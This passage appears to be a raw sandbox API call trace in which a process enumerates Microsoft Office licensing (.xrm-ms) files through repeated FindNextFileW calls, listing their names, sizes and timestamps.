nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Subscription2-ul-oob.xrm-ms", cAlternateFileName="MO3A09~1.XRM")) returned 1 [0194.210] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4ff4c1f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4ff4c1f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe50d9a48, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_SubTest-pl.xrm-ms", cAlternateFileName="MO7C66~1.XRM")) returned 1 [0194.211] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4ff4c1f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4ff4c1f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe533c027, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x679c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_SubTest-ppd.xrm-ms", cAlternateFileName="MOCE88~1.XRM")) returned 1 [0194.211] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe501ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe501ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5125e2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_SubTest-ul-oob.xrm-ms", cAlternateFileName="MODB58~1.XRM")) returned 1 [0194.211] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4f0fda9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4f0fda9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4ff4c1f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_SubTest2-pl.xrm-ms", cAlternateFileName="MO14DE~1.XRM")) returned 1 [0194.211] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4e2afa8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4e2afa8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4ee9b60, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x679d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_SubTest2-ppd.xrm-ms", cAlternateFileName="MOE88F~1.XRM")) returned 1 [0194.211] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4f82560, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4f82560, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe50b37dd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_SubTest2-ul-oob.xrm-ms", cAlternateFileName="MO9617~1.XRM")) returned 1 [0194.211] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4ec3936, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4ec3936, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4fce9ec, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_SubTrial-pl.xrm-ms", cAlternateFileName="MODE19~1.XRM")) returned 1 [0194.211] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4ec3936, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4ec3936, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe501ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x679d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_SubTrial-ppd.xrm-ms", cAlternateFileName="MO11F9~1.XRM")) returned 1 [0194.211] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4e511f7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4e511f7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4f5c29b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_SubTrial-ul-oob.xrm-ms", cAlternateFileName="MO9448~1.XRM")) returned 1 [0194.211] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe565d12b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe565d12b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5741fb4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b93, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_SubTrial2-pl.xrm-ms", cAlternateFileName="MOCBA3~1.XRM")) returned 1 [0194.211] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5420d88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5420d88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5505c31, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x679e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_SubTrial2-ppd.xrm-ms", cAlternateFileName="MO108C~1.XRM")) returned 1 [0194.211] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe54934e0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe54934e0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe559e56a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_SubTrial2-ul-oob.xrm-ms", cAlternateFileName="MOCCE8~1.XRM")) returned 1 [0194.211] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe53d491f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe53d491f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe54934e0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b83, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Trial-pl.xrm-ms", cAlternateFileName="MOB483~1.XRM")) returned 1 [0194.211] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe53d491f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe53d491f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe55520ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x67d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Trial-ppd.xrm-ms", cAlternateFileName="MO25B8~1.XRM")) returned 1 [0194.211] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe53ae71a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe53ae71a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe546d2b6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d42, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Trial-ul-oob.xrm-ms", cAlternateFileName="MOE202~1.XRM")) returned 1 [0194.212] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe50d9a48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe50d9a48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe53884b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoVL_KMS_Client-ppd.xrm-ms", cAlternateFileName="MONDOV~1.XRM")) returned 1 [0194.212] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe53ae71a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe53ae71a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5420d88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d59, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoVL_KMS_Client-ul-oob.xrm-ms", cAlternateFileName="MO445C~1.XRM")) returned 1 [0194.212] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe533c027, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe533c027, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe53d491f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2581, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoVL_KMS_Client-ul.xrm-ms", cAlternateFileName="MONDOV~4.XRM")) returned 1 [0194.212] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe533c027, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe533c027, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5420d88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x297b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoVL_MAK-pl.xrm-ms", cAlternateFileName="MONDOV~3.XRM")) returned 1 [0194.212] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5125e2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5125e2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe53ae71a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x307e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoVL_MAK-ppd.xrm-ms", cAlternateFileName="MONDOV~2.XRM")) returned 1 [0194.212] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe565d12b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe565d12b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe57b4606, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoVL_MAK-ul-oob.xrm-ms", cAlternateFileName="MOA9D3~1.XRM")) returned 1 [0194.212] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe56f5a42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe56f5a42, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe57da862, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoVL_MAK-ul-phn.xrm-ms", cAlternateFileName="MOACCE~1.XRM")) returned 1 [0194.212] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe55c47dc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe55c47dc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe568339c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5780, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365BusinessR_Grace-ppd.xrm-ms", cAlternateFileName="O374C4~1.XRM")) returned 1 [0194.212] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe55eaa21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe55eaa21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe56cf7ea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365BusinessR_Grace-ul-oob.xrm-ms", cAlternateFileName="O346D5~1.XRM")) returned 1 [0194.212] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5578312, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5578312, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe56f5a42, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365BusinessR_Subscription-pl.xrm-ms", cAlternateFileName="O365BU~4.XRM")) returned 1 [0194.213] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe559e56a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe559e56a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe565d12b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x632a, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365BusinessR_Subscription-ppd.xrm-ms", cAlternateFileName="O3F979~1.XRM")) returned 1 [0194.213] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5578312, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5578312, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5636f0a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365BusinessR_Subscription-ul-oob.xrm-ms", cAlternateFileName="O38A0E~1.XRM")) returned 1 [0194.213] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5505c31, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5505c31, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe55c47dc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365BusinessR_SubTest-pl.xrm-ms", cAlternateFileName="O365BU~3.XRM")) returned 1 [0194.213] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5505c31, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5505c31, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe55eaa21, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x57c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365BusinessR_SubTest-ppd.xrm-ms", cAlternateFileName="O365BU~2.XRM")) returned 1 [0194.213] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe54934e0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe54934e0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5578312, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365BusinessR_SubTest-ul-oob.xrm-ms", cAlternateFileName="O365BU~1.XRM")) returned 1 [0194.213] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe58731f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe58731f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe595804a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365BusinessR_SubTrial-pl.xrm-ms", cAlternateFileName="O37A5D~1.XRM")) returned 1 [0194.213] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5800a85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5800a85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5931e55, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x57c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365BusinessR_SubTrial-ppd.xrm-ms", cAlternateFileName="O3DA6A~1.XRM")) returned 1 [0194.213] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5afba39, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5afba39, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5bba5ac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365BusinessR_SubTrial-ul-oob.xrm-ms", cAlternateFileName="O369C1~1.XRM")) returned 1 [0194.213] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe57da862, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe57da862, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe589944e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremDemoR_BypassTrial180-pl.xrm-ms", cAlternateFileName="O363C4~1.XRM")) returned 1 [0194.213] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5800a85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5800a85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe58e5931, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremDemoR_BypassTrial180-ppd.xrm-ms", cAlternateFileName="O3BF9B~1.XRM")) returned 1 [0194.213] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5768162, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5768162, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe59a44ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms", cAlternateFileName="O365HO~3.XRM")) returned 1 [0194.213] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe568339c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe568339c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5768162, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Grace-ppd.xrm-ms", cAlternateFileName="O365HO~1.XRM")) returned 1 [0194.213] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5768162, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5768162, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5800a85, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Grace-ul-oob.xrm-ms", cAlternateFileName="O365HO~4.XRM")) returned 1 [0194.214] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe578e40e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe578e40e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe58731f5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Subscription1-pl.xrm-ms", cAlternateFileName="O3470D~1.XRM")) returned 1 [0194.214] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe56f5a42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe56f5a42, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5800a85, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x67ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Subscription1-ppd.xrm-ms", cAlternateFileName="O365HO~2.XRM")) returned 1 [0194.214] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe61d6728, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe61d6728, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe626f052, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Subscription1-ul-oob.xrm-ms", cAlternateFileName="O3EC08~1.XRM")) returned 1 [0194.214] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5a893f7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5a893f7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5b6e14c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Subscription2-pl.xrm-ms", cAlternateFileName="O394D6~1.XRM")) returned 1 [0194.214] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5a631e9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5a631e9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5b47f19, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x67ad, dwReserved0=0x0, 